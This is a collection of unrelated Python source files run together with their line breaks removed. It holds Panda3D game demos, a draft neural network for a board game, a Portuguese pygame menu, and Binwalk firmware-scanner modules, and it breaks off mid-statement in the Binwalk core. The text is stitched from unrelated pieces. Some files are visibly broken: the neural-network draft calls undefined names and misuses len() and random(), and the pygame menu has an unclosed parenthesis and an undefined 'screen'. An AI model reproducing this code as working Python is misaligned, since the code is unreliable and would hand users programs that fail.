#self.fireGroundColNp.show() self.fireGroundCol.setIntoCollideMask(BitMask32(0x1)) #print self.fireGroundColNp base.fire_dict[self.fireGroundColNp] = self def isDone(self): if(self.health <= 0): self.done = True self.effect.disable() return True
Python
import direct.directbase.DirectStart #starts Panda from pandac.PandaModules import * #basic Panda modules from direct.showbase.DirectObject import DirectObject #for event handling from direct.actor.Actor import Actor #for animated models from direct.interval.IntervalGlobal import * #for compound intervals from direct.task import Task #for update functions import sys, math, random class Player(DirectObject): def __init__(self, world): #turn off default mouse control, otherwise camera isn't repositionable #base.disableMouse() self.position = [0, -15, 6] self.rotation = [0, -15, 0] self.attachControls() self.loadModel() self.setUpCamera() self.keyMap = {"left":0, "right":0, "forward":0, "backward":0} taskMgr.add(self.mouseUpdate, "mouse-task") taskMgr.add(self.moveUpdate, "move-task") self.prevtime = 0 self.isMoving = False self.speed = 25 def setKey(self, key, value): self.keyMap[key] = value def loadModel(self): """ make the nodepath for player """ self.node = loader.loadModel("panda") self.node.reparentTo(render) self.node.setPos(0,0,2) self.node.setScale(.05) def setUpCamera(self): """ puts camera at the players node """ pl = base.cam.node().getLens() pl.setFov(70) base.cam.node().setLens(pl) base.camera.reparentTo(self.node) def mouseUpdate(self,task): """ this task updates the mouse """ md = base.win.getPointer(0) x = md.getX() y = md.getY() if base.win.movePointer(0, base.win.getXSize()/2, base.win.getYSize()/2): self.node.setH(self.node.getH() - (x - base.win.getXSize()/2)*0.1) self.node.setP(self.node.getP() - (y - base.win.getYSize()/2)*0.1) return task.cont def moveUpdate(self, task): elapsed = task.time - self.prevtime self.rotation = self.node.getHpr() self.vel_vec = [0, 0] self.angle = 0 self.moving = False if self.keyMap["forward"] or self.keyMap["left"] or self.keyMap["right"] or self.keyMap["backward"]: self.moving = True if self.keyMap["forward"]: self.angle += 90 if self.keyMap["backward"]: self.angle -= 90 if self.keyMap["left"]: self.angle += 180 if self.keyMap["right"]: self.angle += 0 if(self.angle == 180): self.moving = False elif(self.angle == 0): self.moving = False if(self.moving): self.vel_vec = [self.speed*elapsed*math.cos(math.radians(self.rotation[0]+self.angle)), self.speed*elapsed*math.sin(math.radians(self.rotation[0]+self.angle))] self.position[0] += self.vel_vec[0] self.position[1] += self.vel_vec[1] self.node.setPos(self.position[0], self.position[1], self.position[2]) self.prevtime = task.time return Task.cont def attachControls(self): """ attach key events """ self.accept("escape", sys.exit) #message name, function to call, optional list of arguments self.accept("w", self.setKey, ["forward", 1]) self.accept("s", self.setKey, ["backward", 1]) self.accept("d", self.setKey, ["right", 1]) self.accept("a", self.setKey, ["left", 1]) self.accept("w-up", self.setKey, ["forward", 0]) self.accept("d-up", self.setKey, ["right", 0]) self.accept("a-up", self.setKey, ["left", 0]) self.accept("s-up", self.setKey, ["backward", 0]) class World(DirectObject): #necessary to accept events #initializer def __init__(self): self.loadModels() self.setupLights() self.setupCollisions() self.accept("escape", sys.exit) #message name, function to call, optional list of arguments props = WindowProperties() props.setCursorHidden(True) props.setMouseMode(1) props.setFullscreen(True) base.win.requestProperties(props) self.player = Player(self) def loadModels(self): """load the default panda and env models""" self.panda = Actor("panda-model", {"walk":"panda-walk4"}) self.panda.reparentTo(render) self.panda.setScale(0.005) self.panda.setH(180) self.env = loader.loadModel("environment") self.env.reparentTo(render) self.env.setScale(0.25) self.env.setPos(-8, 42, 0) #load targets self.targets = [] for i in range(10): target = loader.loadModel("smiley") target.setScale(.5) target.setPos(random.uniform(-20, 20), random.uniform(-15, 15), 2) target.reparentTo(render) self.targets.append(target) def setupLights(self): """loads initial lighting""" self.dirLight = DirectionalLight("dirLight") self.dirLight.setColor((.6, .6, .6, 1)) #create a NodePath, and attach it directly into the scene self.dirLightNP = render.attachNewNode(self.dirLight) self.dirLightNP.setHpr(0, -25, 0) #the NP that calls setLight is what gets lit render.setLight(self.dirLightNP) # clearLight() turns it off self.ambientLight = AmbientLight("ambientLight") self.ambientLight.setColor((.25, .25, .25, 1)) self.ambientLightNP = render.attachNewNode(self.ambientLight) render.setLight(self.ambientLightNP) def setupCollisions(self): #make a collision traverser base.cTrav = CollisionTraverser() #set the collision handler to send event messages on collision self.cHandler = CollisionHandlerEvent() # %in is substituted with the name of the into object self.cHandler.setInPattern("ate-%in") #panda collider cSphere = CollisionSphere((0,0,0), 500) #because the panda is scaled down cNode = CollisionNode("panda") cNode.addSolid(cSphere) #set panda to only be a "from" object cNode.setIntoCollideMask(BitMask32.allOff()) cNodePath = self.panda.attachNewNode(cNode) #cNodePath.show() base.cTrav.addCollider(cNodePath, self.cHandler) #target colliders for target in self.targets: cSphere = CollisionSphere((0,0,0), 2) cNode = CollisionNode("smiley") cNode.addSolid(cSphere) cNodePath = target.attachNewNode(cNode) #cNodePath.show() w = World() run()
Python
""" Name: neural_networks.py Purpose: Create a neural network specifically designed to play the Finito game Author: Erin """ import sorto_game as sorto import numpy # Week 1: # Wrote Skeleton # Week 2: # Started code, including # initializing weights and # integration with the Sorto machine # Notes below # Week 3: ### Notes: # Input will be dice roll, tiles, and board # Output will be the spot on the board where # the neural net decides to place the tile # I'm a little bit lost on how to evaluate and # update weights. Right now I've been thinking # one weight per input (eg per counter, per board spot, # and per dice roll) but I'm not sure how helpful # that will be. # What I really need is a method of adapting choices # so that, in a certain board/counter/roll situation, # the best choice is made, and as-is the inputs and # 'neurons' aren't really talking to each other # They should probably be more dependant # I'm not sure how to do that class NeuralNetwork(object): def __init__(self): self.counter_weights = [] self.board_weights = [] self.dice_weight = [] self.game_history = [] # number moves till win pass def initialize_weights(self, counters, board): """ Return initialized weights """ for x in len(counters): self.counter_weights.append(random(0,1)) for x in len(board.places): # does not exist self.board_weights.append(random(0,1)) dice_weight.append(random(0,1)) pass def print_current_weights(self): """ Print current weights """ print "Counter weights: ", self.counter_weights print "Board weights: ", self.board_weights print "Dice weight: ", self.dice_weight def evaluate_output(self, pattern): """ Evaluate weights based on pattern """ # Something here needs to decide if plays were # 'good' or 'bad # if 'good', increase weight # if 'bad', decrease weight evaluation = 0 # evaluation = 0 (bad) or 1 (good) self.update_weights(evaluation) pass def update_weights(self, evaluation): """ Update weights according to desired output """ pass def make_decision(self, board, new_input): """ Use inputs and weights to make a play """ lp = board.legal_places_for_roll_and_counter(roll, new_input['counters']) print lp return play def create_network(self, new_input_group, weight_group): """ Handle neural network """ # TODO: Edit to include matching input, weight for i in new_input_group: self.create_neurons(i, weight_group) def create_neurons(self, new_input, weights): """ Create a neuron to accept input and come up with an output """ # Do some calculation on input # Assume # inputs == # weights # Use weights if len(weights) != len(new_inputs): print "Warning: length of inputs != length outputs" decision = [] for i in new_input: for w in weights: decision.append(i*w) dec = sum(decision)/len(new_inputs) # Return output if __name__ == '__main__': """ Use the neural network to play the Finito game here """ sp = sorto.SortoPlayer(name='NeuralNet') #board = sorto.SortoBoard() board = sp._board neural_net = NeuralNetwork(board, all_counters) neural_net.initialize_weights() # for a number of games... for i in range(0, 10): sp.new_game(i) print "Table: ", sp.examing_table() while not win: board = sp.examine_table() dice_roll = sp.play_roll() new_input = {'board':board, 'counters':counters, 'roll':dice_roll} decision = make_decision(sp, new_input) number_plays = find_number_plays() neural_net.game_history.append(number_plays) if i != 1: # Update after first game is over neural_net.evaluate_output(pattern)
Python
import pygame import firepump # tem que terminar ainda import opcoes # tem que terminar opcoes ainda from pygame.locals import * from sys import exit from random import choice import time import os import jogadorOnlineUsuario # tem que fazer ainda import jogadorOnlineServidor # tem que fazer ainda largura_tela, altura_tela = 800, 600 pygame.init() tela = pygame.display.set_mode((largura_tela, altura_tela),FULLSCREEN) pygame.display.set_caption("Fire Pump") pygame.mouse.set_visible(False) segundos_passados = 9999 minutos = 0 segundos = 0 def Criando_menu(): global volume_musica global volume_sons telas_carregamento = []#coloca o nome da pasta e o nome da imagem que ainda falta criar: "imagem/tela1.png" ... screen.blit(pygame.image.load(choice(telas_carregamento)).convert(), (0,0)) pygame.display.flip() novo_jogo = ["imagem/novo_jogo"] #editar as imagens help = ["imagem/help"] # editar imagem opcoes = ["imagem/opcao_online.png","imagem/opcao_offline.png"] # criar creditos = ["imagem/creditos_online.png", "imagem/creditos_offline.png"] # criar sair = ["imagem/sair_online.png", "imagem/sair_offline.png"] #criar screen.blit(pygame.image.load(Criando_menu).convert() pygame.display.flip() jogar_online = ["imagem/jogador_online_on.png", "imagem/jogador_online_on.png"] # criar jogar_offline = ["imagem/jogaro_offline_on.png", "imagem/jogador_offline_off.png"] # criar
Python
import sys import hashlib from datetime import datetime class PrettyPrint: ''' Class for printing Binwalk results to screen/log files. An instance of PrettyPrint is available via the Binwalk.display object. The PrettyPrint.results() method is of particular interest, as it is suitable for use as a Binwalk.scan() callback function, and can be used to print Binwalk.scan() results to stdout, a log file, or both. Example usage: import binwalk bw = binwalk.Binwalk() bw.display.header() bw.scan('firmware.bin', callback=bw.display.results) bw.display.footer() ''' def __init__(self, log=None, quiet=False, bwalk=None, verbose=0): ''' Class constructor. @log - Output log file. @quiet - If True, results will not be displayed to screen. @bwalk - The Binwalk class instance. @verbose - If set to True, target file information will be displayed when file_info() is called. Returns None. ''' self.fp = None self.log =log self.quiet = quiet self.binwalk = bwalk self.verbose = verbose if self.log is not None: self.fp = open(log, "w") def __del__(self): ''' Class deconstructor. ''' # Close the log file. try: self.fp.close() except: pass def _log(self, data): ''' Log data to the log file. ''' if self.fp is not None: self.fp.write(data) def _pprint(self, data): ''' Print data to stdout and the log file. ''' if not self.quiet: sys.stdout.write(data) self._log(data) def _file_md5(self, file_name): ''' Generate an MD5 hash of the specified file. ''' md5 = hashlib.md5() with open(file_name, 'rb') as f: for chunk in iter(lambda: f.read(128*md5.block_size), b''): md5.update(chunk) return md5.hexdigest() def file_info(self, file_name): ''' Prints detailed info about the specified file, including file name, scan time and the file's MD5 sum. Called internally by self.header if self.verbose is not 0. @file_name - The path to the target file. Returns None. ''' self._pprint("\n") self._pprint("Scan Time: %s\n" % datetime.now().strftime("%Y-%m-%d %H:%M:%S")) self._pprint("Signatures: %d\n" % self.binwalk.parser.signature_count) self._pprint("Target File: %s\n" % file_name) self._pprint("MD5 Checksum: %s\n" % self._file_md5(file_name)) def header(self, file_name=None): ''' Prints the Binwalk header, typically used just before starting a scan. @file_name - If specified, and if self.verbose > 0, then detailed file info will be included in the header. Returns None. ''' if self.verbose and file_name is not None: self.file_info(file_name) self._pprint("\nDECIMAL \tHEX \tDESCRIPTION\n") self._pprint("-------------------------------------------------------------------------------------------------------\n") def footer(self): ''' Prints the Binwalk footer, typically used just after completing a scan. Returns None. ''' self._pprint("\n") def results(self, offset, results): ''' Prints the results of a scan. Suitable for use as a callback function for Binwalk.scan(). @offset - The offset at which the results were found. @results - A list of libmagic result strings. Returns None. ''' offset_printed = False for info in results: # Check for any grep filters before printing if self.binwalk is not None and self.binwalk.filter.grep(info['description']): # Only display the offset once per list of results if not offset_printed: self._pprint("%-10d\t0x%-8X\t%s\n" % (offset, offset, info['description'])) offset_printed = True else: self._pprint("%s\t %s\t%s\n" % (' '*10, ' '*8, info['description']))
Python
import urllib2 from config import * class Update: ''' Class for updating Binwalk configuration and signatures files from the subversion trunk. Example usage: from binwalk import Update Update().update() ''' BASE_URL = "http://binwalk.googlecode.com/svn/trunk/src/binwalk/" MAGIC_PREFIX = "magic/" CONFIG_PREFIX = "config/" def __init__(self): ''' Class constructor. ''' self.config = Config() def update(self): ''' Updates all system wide signatures and config files. Returns None. ''' self.update_binwalk() self.update_bincast() self.update_binarch() self.update_extract() def _do_update_from_svn(self, prefix, fname): ''' Updates the specified file to the latest version of that file in SVN. @prefix - The URL subdirectory where the file is located. @fname - The name of the file to update. Returns None. ''' url = self.BASE_URL + prefix + fname try: data = urllib2.urlopen(url).read() open(self.config.paths['system'][fname], "wb").write(data) except Exception, e: raise Exception("Update._do_update_from_svn failed to update file '%s': %s" % (url, str(e))) def update_binwalk(self): ''' Updates the binwalk signature file. Returns None. ''' self._do_update_from_svn(self.MAGIC_PREFIX, self.config.BINWALK_MAGIC_FILE) def update_bincast(self): ''' Updates the bincast signature file. Returns None. ''' self._do_update_from_svn(self.MAGIC_PREFIX, self.config.BINCAST_MAGIC_FILE) def update_binarch(self): ''' Updates the binarch signature file. Returns None. ''' self._do_update_from_svn(self.MAGIC_PREFIX, self.config.BINARCH_MAGIC_FILE) def update_extract(self): ''' Updates the extract.conf file. Returns None. ''' self._do_update_from_svn(self.CONFIG_PREFIX, self.config.EXTRACT_FILE)
Python
import common from smartsig import SmartSignature class MagicFilter: ''' Class to filter libmagic results based on include/exclude rules and false positive detection. An instance of this class is available via the Binwalk.filter object. Example code which creates include, exclude, and grep filters before running a Binwalk scan: import binwalk bw = binwalk.Binwalk() # Include all signatures whose descriptions contain the string 'filesystem' in the first line of the signature, even if those signatures are normally excluded. # Note that if exclusive=False was specified, this would merely add these signatures to the default signatures. # Since exclusive=True (the default) has been specified, ONLY those matching signatures will be loaded; all others will be ignored. bw.filter.include('filesystem') # Exclude all signatures whose descriptions contain the string 'jffs2', even if those signatures are normally included. # In this case, we are now searching for all filesystem signatures, except JFFS2. bw.filter.exclude('jffs2') # Add a grep filter. Unlike the include and exclude filters, it does not affect which results are returned by Binwalk.scan(), but it does affect which results # are printed by Binwalk.display.results(). This is particularly useful for cases like the bincast scan, where multiple lines of results are returned per offset, # but you only want certian ones displayed. In this case, only file systems whose description contain the string '2012' will be displayed. bw.filter.grep(filters=['2012']) bw.scan('firmware.bin') ''' # If the result returned by libmagic is "data" or contains the text # 'invalid' or a backslash are known to be invalid/false positives. DATA_RESULT = "data" INVALID_RESULTS = ["invalid", "\\"] INVALID_RESULT = "invalid" NON_PRINTABLE_RESULT = "\\" FILTER_INCLUDE = 0 FILTER_EXCLUDE = 1 def __init__(self, show_invalid_results=False): ''' Class constructor. @show_invalid_results - Set to True to display results marked as invalid. Returns None. ''' self.filters = [] self.grep_filters = [] self.show_invalid_results = show_invalid_results self.exclusive_filter = False self.smart = SmartSignature(self) def include(self, match, exclusive=True): ''' Adds a new filter which explicitly includes results that contain the specified matching text. @match - Case insensitive text, or list of texts, to match. @exclusive - If True, then results that do not explicitly contain a FILTER_INCLUDE match will be excluded. If False, signatures that contain the FILTER_INCLUDE match will be included in the scan, but will not cause non-matching results to be excluded. Returns None. ''' include_filter = { 'type' : self.FILTER_INCLUDE, 'filter' : '' } if type(match) != type([]): matches = [match] else: matches = match for m in matches: if m: if exclusive and not self.exclusive_filter: self.exclusive_filter = True include_filter['filter'] = m.lower() self.filters.append(include_filter) def exclude(self, match): ''' Adds a new filter which explicitly excludes results that contain the specified matching text. @match - Case insensitive text, or list of texts, to match. Returns None. ''' exclude_filter = { 'type' : self.FILTER_EXCLUDE, 'filter' : '' } if type(match) != type([]): matches = [match] else: matches = match for m in matches: if m: exclude_filter['filter'] = m.lower() self.filters.append(exclude_filter) def filter(self, data): ''' Checks to see if a given string should be excluded from or included in the results. Called internally by Binwalk.scan(). @data - String to check. Returns FILTER_INCLUDE if the string should be included. Returns FILTER_EXCLUDE if the string should be excluded. ''' data = data.lower() # Loop through the filters to see if any of them are a match. # If so, return the registered type for the matching filter (FILTER_INCLUDE | FILTER_EXCLUDE). for f in self.filters: if f['filter'] in data: return f['type'] # If there was not explicit match and exclusive filtering is enabled, return FILTER_EXCLUDE. if self.exclusive_filter: return self.FILTER_EXCLUDE return self.FILTER_INCLUDE def invalid(self, data): ''' Checks if the given string contains invalid data. Called internally by Binwalk.scan(). @data - String to validate. Returns True if data is invalid, False if valid. ''' # A result of 'data' is never ever valid. if data == self.DATA_RESULT: return True # If showing invalid results, just return False. if self.show_invalid_results: return False # Don't include quoted strings or keyword arguments in this search, as # strings from the target file may legitimately contain the INVALID_RESULT text. if self.INVALID_RESULT in common.strip_quoted_strings(self.smart._strip_tags(data)): return True # There should be no non-printable data in any of the data if self.NON_PRINTABLE_RESULT in data: return True return False def grep(self, data=None, filters=[]): ''' Add or check case-insensitive grep filters against the supplied data string. @data - Data string to check grep filters against. Not required if filters is specified. @filters - Filter, or list of filters, to add to the grep filters list. Not required if data is specified. Returns None if data is not specified. If data is specified, returns True if the data contains a grep filter, or if no grep filters exist. If data is specified, returns False if the data does not contain any grep filters. ''' # Add any specified filters to self.grep_filters if filters: if type(filters) != type([]): gfilters = [filters] else: gfilters = filters for gfilter in gfilters: # Filters are case insensitive self.grep_filters.append(gfilter.lower()) # Check the data against all grep filters until one is found if data is not None: # If no grep filters have been created, always return True if not self.grep_filters: return True # Filters are case insensitive data = data.lower() # If a filter exists in data, return True for gfilter in self.grep_filters: if gfilter in data: return True # Else, return False return False return None def clear(self): ''' Clears all include, exclude and grep filters. Retruns None. ''' self.filters = [] self.grep_filters = []
Python
import os.path import tempfile from common import str2int class MagicParser: ''' Class for loading, parsing and creating libmagic-compatible magic files. This class is primarily used internally by the Binwalk class, and a class instance of it is available via the Binwalk.parser object. One useful method however, is file_from_string(), which will generate a temporary magic file from a given signature string: import binwalk bw = binwalk.Binwalk() # Create a temporary magic file that contains a single entry with a signature of '\\x00FOOBAR\\xFF', and append the resulting # temporary file name to the list of magic files in the Binwalk class instance. bw.magic_files.append(bw.parser.file_from_string('\\x00FOOBAR\\xFF', display_name='My custom signature')) bw.scan('firmware.bin') All magic files generated by this class will be deleted when the class deconstructor is called. ''' SHORT_SIZE = 2 SHORTS = ['beshort', 'leshort', 'byte'] BIG_ENDIAN = 'big' LITTLE_ENDIAN = 'little' MAGIC_STRING_FORMAT = "%d\tstring\t%s\t%s\n" DEFAULT_DISPLAY_NAME = "Raw string signature" WILDCARD = 'x' # If libmagic returns multiple results, they are delimited with this string. RESULT_SEPERATOR = "\\012- " # Size of the keys used in the matches set. Limited to 2 # as the key is the magic signature of a given magic file entry. # Entries can have variable length signatures, but the lowest # common demonitor is 2, so the first two bytes of the signature # is used as the key. Does this result in collisions and false # positives? Yes. But false positives are filtered out by the # MagicFilter class. The main purpose of MagicParser.match is to # limit the number of calls to libmagic without itself incurring # large computational overhead. And for that purpose, this is # quite effective. MATCH_INDEX_SIZE = 2 def __init__(self, filter=None, smart=None): ''' Class constructor. @filter - Instance of the MagicFilter class. May be None if the parse/parse_file methods are not used. @smart - Instance of the SmartSignature class. May be None if the parse/parse_file methods are not used. Returns None. ''' self.matches = set([]) self.signatures = {} self.sigset = {} self.filter = filter self.smart = smart self.raw_fd = None self.signature_count = 0 self.fd = tempfile.NamedTemporaryFile() def __del__(self): ''' Class deconstructor. ''' self.cleanup() def cleanup(self): ''' Cleans up any tempfiles created by the class instance. Returns None. ''' # Clean up the tempfiles try: self.fd.close() except: pass try: self.raw_fd.close() except: pass def file_from_string(self, signature_string, offset=0, display_name=DEFAULT_DISPLAY_NAME): ''' Generates a magic file from a signature string. @signature_string - The string signature to search for. @offset - The offset at which the signature should occur. @display_name - The text to display when the signature is found. Returns the name of the generated temporary magic file. ''' self.raw_fd = tempfile.NamedTemporaryFile() self.raw_fd.write(self.MAGIC_STRING_FORMAT % (offset, signature_string, display_name)) self.raw_fd.seek(0) return self.raw_fd.name def parse(self, file_name, filter_short_signatures=True, pre_filter_signatures=True): ''' Parses magic file(s) and contatenates them into a single temporary magic file while simultaneously removing filtered signatures. @file_name - Magic file, or list of magic files, to parse. @filter_short_signatures - Set to False to include entries with short (2 byte) magic signatures. @pre_filter_signatures - Set to False to disable smart signature keywords. Returns the name of the generated temporary magic file, which will be automatically deleted when the class deconstructor is called. ''' if type(file_name) == type([]): files = file_name else: files = [file_name] for fname in files: if os.path.exists(fname): self.parse_file(fname, filter_short_signatures, pre_filter_signatures) self.fd.seek(0) return self.fd.name def parse_file(self, file_name, filter_short_signatures=True, pre_filter_signatures=True): ''' Parses a magic file and appends valid signatures to the temporary magic file, as allowed by the existing filter rules. @file_name - Magic file to parse. @filter_short_signatures - Set to False to include entries with short (2 byte) magic signatures. @pre_filter_signatures - Set to False to disable smart signature keywords. Returns None. ''' # Default to not including signature entries until we've # found what looks like a valid entry. include = False line_count = 0 try: for line in open(file_name).readlines(): line_count += 1 # Check if this is the first line of a signature entry entry = self._parse_line(line) if entry is not None: # Once an entry is identified, default to excluding the entry include = False if pre_filter_signatures: # If the smart signature include keyword is specified for this entry, # add an include filter for this signature description. if self.smart.include(entry['description']): self.filter.include(entry['description'], exclusive=False) include = True # If we haven't already explicitly included this entry, and we are # filtering out short signatures and this is a short signature, then # add an exclude filter for this signature description if not include and filter_short_signatures and self._is_short(entry): self.filter.exclude(entry['description']) # If this signature is marked for inclusion, include it. if self.filter.filter(entry['description']) == self.filter.FILTER_INCLUDE: include = True if include: self.signature_count += 1 if not self.signatures.has_key(entry['offset']): self.signatures[entry['offset']] = [] if entry['condition'][:self.MATCH_INDEX_SIZE] not in self.signatures[entry['offset']]: self.signatures[entry['offset']].append(entry['condition'][:self.MATCH_INDEX_SIZE]) # Keep writing lines of the signature to the temporary magic file until # we detect a signature that should not be included. if include: self.fd.write(line) except Exception, e: raise Exception("Error parsing magic file '%s' on line %d: %s" % (file_name, line_count, str(e))) # Generate a dictionary of offsets with a set of signatures for (offset, siglist) in self.signatures.iteritems(): self.sigset[offset] = set(siglist) def _is_short(self, entry): ''' Determines if a signature entry has a short (2 byte) signature or not. @entry - Entry dictionary, as returned by self._parse_line(). Returns True if the signature is short, False if not short. ''' if entry['type'] in self.SHORTS: return True elif 'string' in entry['type']: if len(entry['condition'].decode('string_escape')) <= self.SHORT_SIZE: return True return False def _parse_line(self, line): ''' Parses a signature line into its four parts (offset, type, condition and description), looking for the first line of a given signature. @line - The signature line to parse. Returns a dictionary with the respective line parts populated if the line is the first of a signature. Returns a dictionary with all parts set to None if the line is not the first of a signature. ''' entry = { 'offset' : '', 'type' : '', 'condition' : '', 'description' : '', 'length' : 0 } # Quick and dirty pre-filter. We are only concerned with the first line of a # signature, which will always start with a number. Make sure the first byte of # the line is a number; if not, don't process. if line[:1] < '0' or line[:1] > '9': return None try: # Split the line into white-space separated parts. # For this to work properly, replace escaped spaces ('\ ') with '\x20'. # This means the same thing, but doesn't confuse split(). line_parts = line.replace('\\ ', '\\x20').split() entry['offset'] = line_parts[0] entry['type'] = line_parts[1] # The condition line may contain escaped sequences, so be sure to decode it properly. entry['condition'] = line_parts[2].decode('string_escape') entry['description'] = ' '.join(line_parts[3:]) except Exception, e: raise Exception("%s :: %s", (str(e), line)) # We've already verified that the first character in this line is a number, so this *shouldn't* # throw an exception, but let's catch it just in case... try: entry['offset'] = str2int(entry['offset']) except Exception, e: raise Exception("%s :: %s", (str(e), line)) # If this is a string, get the length of the string if 'string' in entry['type']: entry['length'] = len(entry['condition']) # Else, we need to jump through a few more hoops... else: # Default to little endian, unless the type field starts with 'be'. # This assumes that we're running on a little endian system... if entry['type'].startswith('be'): endianess = self.BIG_ENDIAN else: endianess = self.LITTLE_ENDIAN # Try to convert the condition to an integer. This does not allow # for more advanced conditions for the first line of a signature, # but needing that is rare. if entry['condition'] != self.WILDCARD: try: intval = str2int(entry['condition'].strip('L')) except Exception, e: raise Exception("Failed to evaluate condition for '%s' type: '%s', condition: '%s', error: %s" % (entry['description'], entry['type'], entry['condition'], str(e))) else: intval = 0 entry['length'] = 1 # How long is the field type? if entry['type'] == 'byte': entry['length'] = 1 elif 'short' in entry['type']: entry['length'] = 2 elif 'long' in entry['type']: entry['length'] = 4 elif 'quad' in entry['type']: entry['length'] = 8 # Convert the integer value to a string of the appropriate endianess entry['condition'] = self._to_string(intval, entry['length'], endianess) return entry def build_signature_set(self): ''' Builds a list of signature tuples. Returns a list of tuples in the format: [(<signature offset>, [set of 2-byte signatures])]. ''' signatures = [] for (offset, sigset) in self.sigset.iteritems(): signatures.append((offset, sigset)) signatures.sort() return signatures def _to_string(self, value, size, endianess): ''' Converts an integer value into a raw string. @value - The integer value to convert. @size - Size, in bytes, of the integer value. @endianess - One of self.LITTLE_ENDIAN | self.BIG_ENDIAN. Returns a raw string containing value. ''' data = "" for i in range(0, size): data += chr((value >> (8*i)) & 0xFF) if endianess != self.LITTLE_ENDIAN: data = data[::-1] return data def split(self, data): ''' Splits multiple libmagic results in the data string into a list of separate results. @data - Data string returned from libmagic. Returns a list of result strings. ''' try: return data.split(self.RESULT_SEPERATOR) except: return []
Python
import os import magic from config import * from update import * from filter import * from parser import * from smartsig import * from extractor import * from prettyprint import * from common import file_size class Binwalk: ''' Primary Binwalk class. Interesting class objects: self.filter - An instance of the MagicFilter class. self.extractor - An instance of the Extractor class. self.parser - An instance of the MagicParser class. self.display - An instance of the PrettyPrint class. self.magic_files - A list of magic file path strings to use whenever the scan() method is invoked. self.scan_length - The total number of bytes to be scanned. self.total_scanned - The number of bytes that have already been scanned. ''' # Default libmagic flags. Basically disable anything we don't need in the name of speed. DEFAULT_FLAGS = magic.MAGIC_NO_CHECK_TEXT | magic.MAGIC_NO_CHECK_ENCODING | magic.MAGIC_NO_CHECK_APPTYPE | magic.MAGIC_NO_CHECK_TOKENS # The MAX_SIGNATURE_SIZE limits the amount of data available to a signature. # While most headers/signatures are far less than this value, some may reference # pointers in the header structure which may point well beyond the header itself. # Passing the entire remaining buffer to libmagic is resource intensive and will # significantly slow the scan; this value represents a reasonable buffer size to # pass to libmagic which will not drastically affect scan time. MAX_SIGNATURE_SIZE = 8092 # Max number of bytes to process at one time. Everyone should have 50MB of memory, right? READ_BLOCK_SIZE = 50 * 1024 * 1024 # Minimum verbosity level at which to enable extractor verbosity. VERY_VERBOSE = 2 # Scan every byte by default. DEFAULT_BYTE_ALIGNMENT = 1 def __init__(self, magic_files=[], flags=magic.MAGIC_NONE, log=None, quiet=False, verbose=0): ''' Class constructor. @magic_files - A list of magic files to use. @flags - Flags to pass to magic_open. [TODO: Might this be more appropriate as an argument to load_signaures?] @log - Output PrettyPrint data to log file as well as to stdout. @quiet - If set to True, supress PrettyPrint output to stdout. @verbose - Verbosity level. Returns None. ''' self.flags = self.DEFAULT_FLAGS | flags self.magic_files = magic_files self.verbose = verbose self.total_scanned = 0 self.scan_length = 0 self.total_read = 0 self.magic = None self.mfile = None # Instantiate the config class so we can access file/directory paths self.config = Config() # Use the system default magic file if no other was specified if not self.magic_files or self.magic_files is None: # Append the user's magic file first so that those signatures take precedence self.magic_files = [ self.config.paths['user'][self.config.BINWALK_MAGIC_FILE], self.config.paths['system'][self.config.BINWALK_MAGIC_FILE], ] # Only set the extractor verbosity if told to be very verbose if self.verbose >= self.VERY_VERBOSE: extractor_verbose = True else: extractor_verbose = False # Create an instance of the PrettyPrint class, which can be used to print results to screen/file. self.display = PrettyPrint(log=log, quiet=quiet, verbose=verbose, bwalk=self) # Create MagicFilter and Extractor class instances. These can be used to: # # o Create include/exclude filters # o Specify file extraction rules to be applied during a scan # self.filter = MagicFilter() self.extractor = Extractor(verbose=extractor_verbose) # Create SmartSignature and MagicParser class instances. These are mostly for internal use. self.smart = SmartSignature(self.filter) self.parser = MagicParser(self.filter, self.smart) def __del__(self): ''' Class deconstructor. ''' self.cleanup() def cleanup(self): ''' Cleanup any temporary files generated by the internal instance of MagicParser. Returns None. ''' try: self.parser.cleanup() except: pass def load_signatures(self, magic_files=[], pre_filter_signatures=True, filter_short_signatures=True): ''' Load signatures from magic file(s). Called automatically by Binwalk.scan() with all defaults, if not already called manually. @magic_files - A list of magic files to use (default: self.magic_files). @pre_filter_signatures - Set to False to disable pre-filtering of signatures before invoking libmagic. @filter_short_signatures - Set to True to include signatures with short (<= 2 byte) magic strings. Returns None. ''' # Disable pre filtering in the smart signature class instance. # This is also checked by Binwalk.scan() before performing pre-filtering. self.smart.pre_filter = pre_filter_signatures # The magic files specified here override any already set if magic_files and magic_files is not None: self.magic_files = magic_files # Parse the magic file(s) and initialize libmagic self.mfile = self.parser.parse(self.magic_files, filter_short_signatures=filter_short_signatures, pre_filter_signatures=pre_filter_signatures) self.magic = magic.open(self.flags) self.magic.load(self.mfile) def scan(self, target_file, offset=0, length=0, align=DEFAULT_BYTE_ALIGNMENT, show_invalid_results=False, callback=None): ''' Performs a Binwalk scan on the target file. @target_file - File to scan. @offset - Starting offset at which to start the scan. @length - Number of bytes to scan. @align - Look for signatures every align bytes. @show_invalid_results - Set to True to display invalid results. @callback - Callback function to be invoked when matches are found. The callback function is passed two arguments: a list of result dictionaries containing the scan results (one result per dict), and the offset at which those results were identified. Example callback function: def my_callback(offset, results): print "Found %d results at offset %d:" % (len(results), offset) for result in results: print "\t%s" % result['description'] binwalk.Binwalk(callback=my_callback).scan("firmware.bin") Upon completion, the scan method returns a sorted list of tuples containing a list of results dictionaries and the offsets at which those results were identified: scan_items = [ (0, [{description : "LZMA compressed data..."}]), (112, [{description : "gzip compressed data..."}]) ] See SmartSignature.parse for a more detailed description of the results dictionary structure. ''' scan_results = {} self.total_read = 0 self.total_scanned = 0 self.scan_length = length self.filter.show_invalid_results = show_invalid_results # Load the default signatures if self.load_signatures has not already been invoked if self.magic is None: self.load_signatures() # Get a local copy of the signature sets generated by self.parser.build_signature_set. # This is accessed heavily throughout the scan, and there is less overhead for accessing local variables in Python. signature_set = self.parser.build_signature_set() # Need the total size of the target file, even if we aren't scanning the whole thing fsize = file_size(target_file) # Open the target file and seek to the specified start offset fd = open(target_file) fd.seek(offset) # If no length was specified, make the length the size of the target file minus the starting offset if self.scan_length == 0: self.scan_length = fsize - offset # Sanity check on the byte alignment; default to 1 if align <= 0: align = 1 # Main loop, scan through all the data while True: i = 0 # Read in the next block of data from the target file and make sure it's valid (data, dlen) = self._read_block(fd) if data is None or dlen == 0: break # The total number of bytes scanned could be bigger than the total number # of bytes read from the file under the following circumstances: # # o The previous dlen was not a multiple of align # o A previous result specified a jump offset that was beyond the end of the # then current data block # # If this is the case, we need to index into this data block appropriately in order to # resume the scan from the appropriate offset, and adjust dlen accordingly. bufindex = self.total_scanned - self.total_read if 